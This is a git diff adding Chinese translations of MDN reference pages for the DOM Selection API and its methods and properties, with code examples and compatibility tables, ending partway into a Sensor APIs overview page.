+ ranges[i] = sel.getRangeAt(i);
+}
+/* 在 ranges 数组的每一个元素都是一个 range 对象,
+ * 对象的内容是当前选区中的一个。 */
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML Editing', '#dom-selection-getrangeat', 'Selection.getRangeAt()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Selection.getRangeAt")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/index.html b/files/zh-cn/web/api/selection/index.html new file mode 100644 index 0000000000..01e7e99ca7 --- /dev/null +++ b/files/zh-cn/web/api/selection/index.html @@ -0,0 +1,211 @@ +--- +title: Selection +slug: Web/API/Selection +tags: + - DOM + - Gecko + - NeedsTechnicalReview + - NeedsTranslation + - TopicStub +translation_of: Web/API/Selection +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

Selection 对象表示用户选择的文本范围或插入符号的当前位置。它代表页面中的文本选区,可能横跨多个元素。文本选区由用户拖拽鼠标经过文字而产生。要获取用于检查或修改的 Selection 对象,请调用 {{domxref("window.getSelection()")}}。

+ +

一般来说,插入光标的位置可通过 Selection 获取,这时它被标记为 Collapsed,这表示选区被压缩至一点,即光标位置。但要注意它与 focus 事件或 {{domxref("Document.activeElement")}} 等的值没有必然联系。

+ +

用户可能从左到右(与文档方向相同)选择文本或从右到左(与文档方向相反)选择文本。anchor 指向用户开始选择的地方,而 focus 指向用户结束选择的地方。如果你使用鼠标选择文本的话,anchor 就指向你按下鼠标键的地方,而 focus 就指向你松开鼠标键的地方。anchor 和 focus 的概念不能与选区的起始位置和终止位置混淆,因为 anchor 指向的位置可能在 focus 指向的位置的前面,也可能在 focus 指向位置的后面,这取决于你选择文本时鼠标移动的方向(也就是按下鼠标键和松开鼠标键的位置)。

+ +

Selection 对象所对应的是用户所选择的 {{domxref("range","ranges")}} (区域),俗称拖蓝。默认情况下,该函数只针对一个区域,我们可以这样使用这个函数:

+ +
+
var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);
+
+ + + +

调用 {{domxref("Selection.toString()","")}} 方法会返回被选中区域中的纯文本。要求变量为字符串的函数会自动对对象进行该处理,例如:

+ +
var selObj = window.getSelection();
+window.alert(selObj); 
+ +

术语表

+ +

本页面使用的其他关键词汇:

+ +
+
锚点 (anchor)
+
锚指的是一个选区的起始点(不同于HTML中的锚点链接,译者注)。当我们使用鼠标框选一个区域的时候,锚点就是我们鼠标按下瞬间的那个点。在用户拖动鼠标时,锚点是不会变的。
+
焦点 (focus)
+
选区的焦点是该选区的终点,当您用鼠标框选一个选区的时候,焦点是你的鼠标松开瞬间所记录的那个点。随着用户拖动鼠标,焦点的位置会随着改变。
+
范围 (range)
+
范围指的是文档中连续的一部分。一个范围包括整个节点,也可以包含节点的一部分,例如文本节点的一部分。用户通常下只能选择一个范围,但是有的时候用户也有可能选择多个范围(例如当用户按下Control按键并框选多个区域时,Chrome中禁止了这个操作,译者注)。“范围”会被作为 {{domxref("Range")}} 对象返回。Range对象也能通过DOM创建、增加、删减。
+
可编辑元素 (editing host)
+
一个用户可编辑的元素(例如一个使用 {{htmlattrxref("contenteditable")}} 的HTML元素,或是在启用了 {{domxref("Document.designMode", "designMode")}} 的 {{domxref("Document")}} 的子元素)。详见 开发者笔记
+
+ +

属性

+ +
+
{{domxref("Selection/anchorNode","anchorNode")}}{{ReadOnlyInline}}
+
返回该选区起点所在的节点({{domxref("Node")}})。
+
{{domxref("Selection/anchorOffset","anchorOffset")}}{{ReadOnlyInline}}
+
返回一个数字,其表示的是选区起点在 {{domxref("Selection/anchorNode","anchorNode")}} 中的位置偏移量。 +
    +
  1. 如果 anchorNode 是文本节点,那么返回的就是从该文字节点的第一个字开始,直到被选中的第一个字之间的字数(如果第一个字就被选中,那么偏移量为零)。
  2. +
  3. 如果 anchorNode 是一个元素,那么返回的就是在选区第一个节点之前的同级节点总数。(这些节点都是 anchorNode 的子节点)
  4. +
+
+
{{domxref("Selection/focusNode","focusNode")}}{{ReadOnlyInline}}
+
返回该选区终点所在的节点。
+
{{domxref("Selection/focusOffset","focusOffset")}}{{ReadOnlyInline}}
+
返回一个数字,其表示的是选区终点在 {{domxref("Selection/focusNode","focusNode")}} 中的位置偏移量。 +
    +
  1. 如果 focusNode 是文本节点,那么选区末尾未被选中的第一个字,在该文字节点中是第几个字(从0开始计),就返回它。
  2. +
  3. 如果 focusNode 是一个元素,那么返回的就是在选区末尾之后第一个节点之前的同级节点总数。
  4. +
+
+
{{domxref("Selection/isCollapsed","isCollapsed")}}{{ReadOnlyInline}}
+
返回一个布尔值,用于判断选区的起始点和终点是否在同一个位置。
+
{{domxref("Selection/rangeCount","rangeCount")}}{{ReadOnlyInline}}
+
返回该选区所包含的连续范围的数量。
+
+ +

方法

+ +
+
{{domxref("Selection/getRangeAt","getRangeAt")}}
+
返回选区包含的指定区域({{domxref("Range")}})的引用
+
{{domxref("Selection/collapse","collapse")}}
+
将当前的选区折叠为一个点。
+
{{domxref("Selection/extend","extend")}}
+
将选区的焦点移动到一个特定的位置。
+
{{domxref("Selection/modify","modify")}} {{gecko_minversion_inline("2.0")}}
+
修改当前的选区。
+
{{domxref("Selection/collapseToStart","collapseToStart")}}
+
将当前的选区折叠到起始点。
+
{{domxref("Selection/collapseToEnd","collapseToEnd")}}
+
将当前的选区折叠到最末尾的一个点。
+
{{domxref("Selection/selectAllChildren","selectAllChildren")}}
+
将某一指定节点的子节点框入选区。
+
{{domxref("Selection/addRange","addRange")}}
+
一个区域({{domxref("Range")}})对象将被加入选区。
+
{{domxref("Selection/removeRange","removeRange")}}
+
从选区中移除一个区域。
+
{{domxref("Selection/removeAllRanges","removeAllRanges")}}
+
将所有的区域都从选区中移除。
+
{{domxref("Selection/deleteFromDocument","deleteFromDocument")}}
+
从页面中删除选区中的内容。
+
{{domxref("Selection/selectionLanguageChange","selectionLanguageChange")}}
+
当键盘的朝向发生改变后修改指针的Bidi优先级。
+
{{domxref("Selection/toString","toString")}}
+
返回当前选区的纯文本内容。
+
{{domxref("Selection/containsNode","containsNode")}}
+
判断某一个 {{domxref("Node")}} 是否为当前选区的一部分。
+
+ +

开发者笔记

+ +

选区的字符串表示

+ +

调用 {{DOMxRef("Selection.toString()")}} 方法返回包含在选区内的文本,例如:

+ +
var selObj = window.getSelection();
+window.alert(selObj);
+
+ +

注意,使用选择对象作为 window.alert 的参数将调用对象的 toString 方法。

+ +

选区中的多个区域

+ +

一个 Selection 对象表示用户选择的 {{DOMxRef("Range")}} 的集合。通常,它只包含一个区域,访问方式如下:

+ +
var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);
+ + + +

getRangeAt 方法返回对象的引用,并且对该函数返回的 Range 对象所运行的函数,会直接作用到选区上,并可能影响用户焦点的情况。

+ +

正如 Selection API 规范 所指出的,Selection API 最初由 Netscape 创建,并允许多个区域(例如,允许用户从 {{HTMLElement("table")}} 中选择列)。但是,Gecko 以外的浏览器没有实现多个区域,而且规范还要求选择的内容始终(仅)具有一个范围(允许多个区域可能引起不必要的兼容性问题,例如同时从多处输入,译者注)。

+ +

Selection 及输入焦点

+ +

选择和输入焦点(由 {{domxref("Document.activeElement")}} 表示)有一个复杂的关系,该关系因浏览器而异。在跨浏览器兼容的代码中,最好分别处理它们。

+ +

Safari和Chrome(与Firefox不同)目前在以编程方式修改 Selection 时会将包含选区的元素作为焦点;这可能在将来会发生变化(请参见 W3C Bug 14383 和 {{WebKitBug("3869")}})。

+ +

(目前在 WebKit 中,按钮等元素被直接点击不会修改选区,但会将焦点传递,译者注)

+ +

Selection API 在可编辑元素焦点更改方面的行为

+ +

Selection API 有一个共同的行为(即在浏览器之间共通),该行为控制在调用某些方法后可编辑元素(原文 Editing Hosts,可编辑宿主)的焦点行为如何更改。

+ +

其行为如下:

+ +
    +
  1. 如果先前的选区不在可编辑元素内,则可编辑元素将获得焦点。
  2. +
  3. 调用一个 Selection API 方法,从而在可编辑元素内产生一个新选区,来创造一个新的 Selection 区域({{domxref("Range")}})。
  4. +
  5. 然后焦点(此处应指显示的,译者注)移到可编辑元素。
  6. +
+ +

注意:Selection API方法只能将焦点移动到可编辑元素,而不能移动到其他可焦点元素(例如{{HTMLElement("a")}})。

+ +

上述行为适用于使用以下方法产生的选区:

+ + + +

以及在 {{domxref("Range")}} 使用以下方法修改时:

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.Selection")}}

+ +

Gecko 备注

+ + + +

扩展

+ + diff --git a/files/zh-cn/web/api/selection/iscollapsed/index.html b/files/zh-cn/web/api/selection/iscollapsed/index.html new file mode 100644 index 0000000000..313426bc83 --- /dev/null +++ b/files/zh-cn/web/api/selection/iscollapsed/index.html @@ -0,0 +1,16 @@ +--- +title: Selection.isCollapsed +slug: Web/API/Selection/isCollapsed +translation_of: Web/API/Selection/isCollapsed +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值用于描述选区的起始点和终止点是否位于一个位置(即是否框选了,译者注)。

+

用法

+
sel.isCollapsed
+
+

注意

+

即使是一个被折叠了的选区,其 rangeCount的结果也可能大于0。sel.getRangeAt(0)会在选区被折叠的情况下返回一个值。

+
+  
+

{{ languages( { "es": "es/DOM/Selection/isCollapsed", "it": "it/DOM/Selection/isCollapsed", "pl": "pl/DOM/Selection/isCollapsed" } ) }}

diff --git a/files/zh-cn/web/api/selection/modify/index.html b/files/zh-cn/web/api/selection/modify/index.html new file mode 100644 index 0000000000..db41ec4708 --- /dev/null +++ b/files/zh-cn/web/api/selection/modify/index.html @@ -0,0 +1,109 @@ +--- +title: Selection.modify() +slug: Web/API/Selection/modify +tags: + - HTML 编辑 + - 参考 + - 方法 + - 选区 +translation_of: Web/API/Selection/modify +--- +
+
+
{{ ApiRef("DOM") }}{{non-standard_header}}
+
+
+ +

Selection.modify() 方法可以通过简单的文本命令来改变当前选区或光标位置。

+ +

语法

+ +
sel.modify(alter, direction, granularity)
+
+ +

参数

+ +
+
alter
+
改变类型. 传入"move"来移动光标位置,或者"extend"来扩展当前选区。
+
direction
+
调整选区的方向。你可以传入"forward""backward"来根据选区内容的语言书写方向来调整。或者使用"left"或"right"来指明一个明确的调整方向。
+
granularity
+
调整的距离颗粒度。可选值有"character""word""sentence""line""paragraph""lineboundary""sentenceboundary""paragraphboundary""documentboundary"。
+
+ +
注意: Gecko 不支持 "sentence", "paragraph", "sentenceboundary", "paragraphboundary"和"documentboundary". Webkit和Blink 支持。
+ +
+

注意: 从{{Gecko("5.0")}}开始,不管是不是浏览器的默认行为,"word"颗粒度不再包括单词后面的空格。这让这个行为变得更加稳定,这也和之前的Webkit保持一致,然而不幸的是他们最近修改了这个默认行为。

+
+ +

例子

+ +

使当前选区往语言书写方向扩大一个单词(word)的选择范围

+ +
var selection = window.getSelection();
+selection.modify("extend", "forward", "word");
+
+ +

规范

+ +

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
平台ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
支持最低版本{{CompatUnknown}}{{CompatGeckoDesktop(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}§
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
平台AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
支持最低版本{{CompatUnknown}}{{CompatGeckoMobile(2)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/rangecount/index.html b/files/zh-cn/web/api/selection/rangecount/index.html new file mode 100644 index 0000000000..ad05478e8d --- /dev/null +++ b/files/zh-cn/web/api/selection/rangecount/index.html @@ -0,0 +1,129 @@ +--- +title: Selection.rangeCount +slug: Web/API/Selection/rangeCount +tags: + - API + - Selection +translation_of: Web/API/Selection/rangeCount +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

The Selection.rangeCount是一个返回选区(selection)中range对象数量的只读属性。

+ +

在网页使用者点击一个加载完毕的新打开的页面之前,rangeCount的值是0。在使用者点击页面之后,rangeCount的值变为1,即使并没有可视的选区(selection)。

+ +

使用者一般情况下在一次只能选择一个range ,所以通常情况下rangeCount属性的值总为1。脚本(如javascript)可以使选区包含多个range。

+ +

Gecko 浏览器允许跨表格单元格获得多个选区(此处可能翻译不准). Firefox allows to select multiple ranges in the document by using Ctrl+click (unless the click within an element with display: table-cell).

+ +

用法

+ +
value = sel.rangeCount
+
+ +

例子

+ +

下面这个例子会每隔一秒显示一次rangeCount的值。在浏览器中选择文本,然后看看他的改变。

+ +

HTML Content

+ +
//打开控制台看看selection中有多少range对象。
+//在Gecko浏览器,当你用鼠标在表格单元格中拖动的同时按住Ctrl,你可以选择多个range。
+
+<table>
+<tr><td>a.1<td>a.2
+<tr><td>b.1<td>b.2
+
+
+
+ +

JavaScript Content

+ +
window.setInterval(function () {
+  console.log(window.getSelection().rangeCount);
+}, 1000);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-rangecount', 'Selection.rangeCount')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-rangeCount', 'Selection.rangeCount')}}{{Spec2('Selection API')}}Current
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/selection/removeallranges/index.html b/files/zh-cn/web/api/selection/removeallranges/index.html new file mode 100644 index 0000000000..656793f37b --- /dev/null +++ b/files/zh-cn/web/api/selection/removeallranges/index.html @@ -0,0 +1,57 @@ +--- +title: Selection.removeAllRanges() +slug: Web/API/Selection/removeAllRanges +translation_of: Web/API/Selection/removeAllRanges +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Selection.removeAllRanges()方法会从当前selection对象中移除所有的range对象,取消所有的选择只 留下{{domxref("Selection.anchorNode", "anchorNode")}} 和{{domxref("Selection.focusNode","focusNode")}}属性并将其设置为null。

+ +

语法

+ +
sel.removeAllRanges();
+
+ +

参数

+ +

无。

+ +

规范

+ +

 

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML Editing', '#dom-selection-removeallranges', 'Selection.removeAllRanges()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-removeAllRanges-void', 'Selection.removeAllRanges()')}}{{Spec2('Selection API')}}Current
+ +

 

+ +

浏览器兼容性

+ +
{{Compat("api.Selection.removeAllRanges")}}
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/removerange/index.html b/files/zh-cn/web/api/selection/removerange/index.html new file mode 100644 index 0000000000..42a20eb578 --- /dev/null +++ b/files/zh-cn/web/api/selection/removerange/index.html @@ -0,0 +1,37 @@ +--- +title: Selection.removeRange() +slug: Web/API/Selection/removeRange +translation_of: Web/API/Selection/removeRange +--- +

{{ ApiRef() }}

+

概述

+

将一个区域从选区中移除。

+

用法

+
sel.removeRange(range)
+
+

参数

+
+
+ + range +
+
+ Range对象将从选区当中移除。
+
+

Examples

+
/* 通过设计一段js代码,我们可以获得多个区域,
+ * 这段代码可以移除除了第一个区域之外的所有区域。
+ * (此代码在Chrome中不生效,因为Chrome当中只能
+ * 选择一个选区,哎我为什么要在 Mozilla 的网站上
+ * 说这个?译者注)*/
+
+s = window.getSelection();
+if(s.rangeCount > 1) {
+ for(var i = 1; i < s.rangeCount; i++) {
+  s.removeRange(s.getRangeAt(i));
+ }
+}
+
+
+  
+

{{ languages( { "es": "es/DOM/Selection/removeRange", "it": "it/DOM/Selection/removeRange", "pl": "pl/DOM/Selection/removeRange" } ) }}

diff --git a/files/zh-cn/web/api/selection/selectallchildren/index.html b/files/zh-cn/web/api/selection/selectallchildren/index.html new file mode 100644 index 0000000000..eae930d887 --- /dev/null +++ b/files/zh-cn/web/api/selection/selectallchildren/index.html @@ -0,0 +1,64 @@ +--- +title: Selection.selectAllChildren() +slug: Web/API/Selection/selectAllChildren +translation_of: Web/API/Selection/selectAllChildren +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Selection.selectAllChildren()把指定元素的所有子元素设为选中区域,并取消之前的选中区域。

+ +

用法

+ +
sel.selectAllChildren(parentNode)
+
+ +

参数

+ +
+
parentNode
+
所有parentNode元素的子元素会被设为选中区域,parentNode本身除外。
+
+ +

举例

+ +
footer = document.getElementById("footer");
+window.getSelection().selectAllChildren(footer);
+/* Everything inside the footer is now selected *
+ +

详细

+ + + + + + + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML Editing', '#dom-selection-selectallchildren', 'Selection.selectAllChildren()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-selectAllChildren-void-Node-node', 'Selection.selectAllChildren()')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
+

{{Compat("api.Selection.selectAllChildren")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/setbaseandextent/index.html b/files/zh-cn/web/api/selection/setbaseandextent/index.html new file mode 100644 index 0000000000..4a02231e34 --- /dev/null +++ b/files/zh-cn/web/api/selection/setbaseandextent/index.html @@ -0,0 +1,177 @@ +--- +title: Selection.setBaseAndExtent() +slug: Web/API/Selection/setBaseAndExtent +translation_of: Web/API/Selection/setBaseAndExtent +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

setBaseAndExtent()方法是{{domxref("Selection")}}接口用来选中并设置在两个特定的DOM节点中文本选中的范围, 并且选中的任何内容都位于两个节点之间.

+ +

语法

+ +
sel.setBaseAndExtent(anchorNode,anchorOffset,focusNode,focusOffset)
+
+ +

参数

+ +
+
anchorNode
+
锚节点-选中内容的开始节点
+
anchorOffset
+
选中范围内起点位置在锚节点下第几个子节点的位置.例如,如果是值为0的话,整个节点都是被选中的. 如果值为1的话,那么至少整个节点至少有一个子节点被选中. 以此类推.
+
focusNode
+
焦点节点-选中内容的结尾节点
+
focusOffset
+
选中范围内结束位置在焦点节点下第几个子节点的位置.例如,如果是值为0的话,整个节点都是被选中的. 如果值为1的话,那么至少整个节点至少有一个子节点被选中. 以此类推.
+
+ +
+

Note: 如果源代码中焦点节点出现在锚节点之前的话, 这两个将在参数中互换位置, 也就是锚节点变为了焦点节点、焦点节点变为了锚节点. 另外, 这些参数的用法会颠倒 — 插入符是放置在文本的开头而不是结尾,这对于任何可能遵循这规则的键盘命令都是很重要的.例如, Shift + ➡︎ 会使选中状态范围的从开始缩小,而不是在结尾增加.

+
+ +

返回值

+ +

Void.

+ +

说明

+ +

如果锚偏移值超过了锚节点内部的子节点个数, 或则如果焦点偏移值超过了焦点节点内部的子节点个数, 这个{{domxref("IndexSizeError")}} 选中会被丢弃.

+ +

示例

+ +

一个例子, 我们有两个包含多个span的段落, 每一个span包含一个单词. 然后第一个段落作为锚节点并且第二个作为焦点节点.我们还有一个额外的段落插入在两个节点之间.

+ +

然后, 这里有两个允许你去设置锚节点和焦点节点的表单输入框 — 它们都有一个默认值为0.

+ +

这里还有一个按钮用来点击调用运行包含setBaseAndExtent()方法的函数, 最后输出选中内容到HTML的最底部.

+ +
<h1>setBaseAndExtent example</h1>
+<div>
+  <p class="one"><span>Fish</span><span>Dog</span><span>Cat</span><span>Bird</span></p>
+  <p>MIDDLE</p>
+  <p class="two"><span>Car</span><span>Bike</span><span>Boat</span><span>Plane</span></p>
+</div>
+
+<div>
+  <p>
+    <label for="aOffset">Anchor offset</label>
+    <input id="aOffset" name="aOffset" type="number" value="0">
+  </p>
+  <p>
+    <label for="fOffset">Focus offset</label>
+    <input id="fOffset" name="fOffset" type="number" value="0">
+  </p>
+  <p><button>Capture selection</button></p>
+</div>
+
+<p><strong>Output</strong>: <span class="output"></span></p>
+ +

JavaScript像这样:

+ +
var one = document.querySelector('.one');
+var two = document.querySelector('.two');
+
+var aOffset = document.getElementById('aOffset');
+var fOffset = document.getElementById('fOffset');
+
+var button = document.querySelector('button');
+
+var output = document.querySelector('.output');
+
+var selection;
+
+button.onclick = function() {
+  try {
+    selection = document.getSelection();
+    selection.setBaseAndExtent(one, aOffset.value, two, fOffset.value);
+    var text = selection.toString();
+    output.textContent = text;
+  } catch(e) {
+    output.textContent = e.message;
+  }
+}
+ +

在下面在线运行实例, 设置不同的偏移值去观察它怎么去影响选中内容的.

+ +

{{ EmbedLiveSample('Examples', '100%', 370) }}

+ +
+

Note: 实例在这里 example on GitHub (see it live also.)

+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Selection API', '#dom-selection-setbaseandextent', 'Selection.setBaseAndExtent()')}}{{Spec2('Selection API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(53)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/selection/tostring/index.html b/files/zh-cn/web/api/selection/tostring/index.html new file mode 100644 index 0000000000..c7177c12c6 --- /dev/null +++ b/files/zh-cn/web/api/selection/tostring/index.html @@ -0,0 +1,112 @@ +--- +title: Selection.toString() +slug: Web/API/Selection/toString +translation_of: Web/API/Selection/toString +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Selection.toString()返回代表当前selection对象的字符串,例如当前选择的文本文字.

+ +

语法

+ +
str = sel.toString()
+
+ +

返回值

+ + + +

参数

+ +

无.

+ +

描述

+ +

此方法返回当前被选中的文本文字.

+ +

JavaScript中, 当selection对象作为字符串类型使用时,此方法会被自动调用:

+ +
alert(window.getSelection()) // 被调用时
+alert(window.getSelection().toString())  // 真实情况
+
+ +

相关规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础特性{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
基础特性{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/selection/type/index.html b/files/zh-cn/web/api/selection/type/index.html new file mode 100644 index 0000000000..b7f2507975 --- /dev/null +++ b/files/zh-cn/web/api/selection/type/index.html @@ -0,0 +1,116 @@ +--- +title: Selection.type +slug: Web/API/Selection/type +translation_of: Web/API/Selection/type +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

type是 {{domxref("Selection")}} 接口的只读属性,其返回的是{{domxref("DOMString")}}即描述当前选择的类型 。

+ +

语法

+ +
value = sel.type
+
+ +

Value

+ +

{{domxref("DOMString")}} 描述的是当前选择的类型。可能的值为:

+ + + +

例子

+ +

在下面的示例中,回调函数将在每次进行新的选择时触发。 console.log(selection.type) 将会输出 Caret 或者 Range ,其输出值取决于插入标记是放置在文本中的单个点还是已选择范围。

+ +
var selection;
+
+document.onselectionchange = function() {
+  console.log('New selection made');
+  selection = document.getSelection();
+  console.log(selection.type);
+};
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Selection API', '#dom-selection-type', 'Selection.type')}}{{Spec2('Selection API')}}Current
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参考

+ + diff --git "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" new file mode 100644 index 0000000000..5532bcf0fc --- /dev/null +++ "b/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" @@ -0,0 +1,107 @@ +--- +title: Selection.deleteFromDocument() +slug: Web/API/Selection/从Document中删除 +translation_of: Web/API/Selection/deleteFromDocument +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +
+

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

+
+ +

Syntax

+ +
sel.deleteFromDocument()
+
+ +

Parameters

+ +

None.

+ +

Examples

+ +

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/sensor_apis/index.html b/files/zh-cn/web/api/sensor_apis/index.html new file mode 100644 index 0000000000..0b49b766b7 --- /dev/null +++ b/files/zh-cn/web/api/sensor_apis/index.html @@ -0,0 +1,238 @@ +--- +title: Sensor APIs +slug: Web/API/Sensor_APIs +tags: + - 传感器 + - 传感器API + - 参考 + - 概述 + - 通用传感器API +translation_of: Web/API/Sensor_APIs +--- +
{{APIRef("Generic Sensor API")}}
+ +
+

传感器API (Sensor APIs)是一组统一设计的接口,它们在web平台中为各类传感器提供了一致的访问方式。

+
+ +

传感器API的概念和使用

+ +

尽管通用传感器API规范(Generic Sensor API specification)定义了一个 {{domxref('Sensor')}} 接口,但作为web开发者不应该直接使用它。你应该使用它的某个子类来获得指定的传感器数据。例如,{{domxref('accelerometer')}}接口返回设备当前沿所有三个轴的加速度。

+ +

传感器接口不一定与物理上的传感器一一对应。例如,{{domxref('Gyroscope')}} 接口确实与一个单独的物理器件接口对应,但{{domxref('AbsoluteOrientationSensor')}}接口提供的信息则是来自两个或更多传感器器件的数据通过算法得到的。这两类传感器分别被称为低级的low-level)和高级的high-level)。后者也被称为融合传感器(fusion sensor),或者虚拟(virtual)传感器,或称合成(synthetic)传感器。

+ +

功能检测

+ +

传感器接口仅仅是底层器件传感器的代理。因此,相比其它API,传感器功能检测更为复杂。传感器API的存在并不能告诉你API是否与一个真实的硬件传感器相连,即使相连它是否在工作,甚至用户是否已经授权访问它。要一致地提供所有这些信息是要消耗性能和电池电量的。

+ +

因此,传感器API的功能检测必须包含API本身的检测以及防御性编程策略(见下)(defensive programming strategies)。

+ +

下面的例子展示了检测传感器API的三种方法。此外你还可以把对象实例化部分放在一个{{jsxref('statements/try...catch', 'try...catch')}} 块中。注意通过你并不能通过{{domxref('Navigator')}} 接口来实现传感器检测。

+ +
if (typeof Gyroscope === "function") {
+    // run in circles...
+}
+
+if ("ProximitySensor" in window) {
+    // watch out!
+}
+
+if (window.AmbientLightSensor) {
+    // go dark...
+}
+ +

许可和功能策略

+ +

只有用户对针对某种类型的传感器授权之后,才能对该类传感器进行读取。用{{domxref('Permissions')}} API来进行这种授权。下面的小例子展示了在试图使用传感器之前首先请求授权。

+ +
navigator.permissions.query({ name: 'accelerometer' })
+.then(result => {
+  if (result.state === 'denied') {
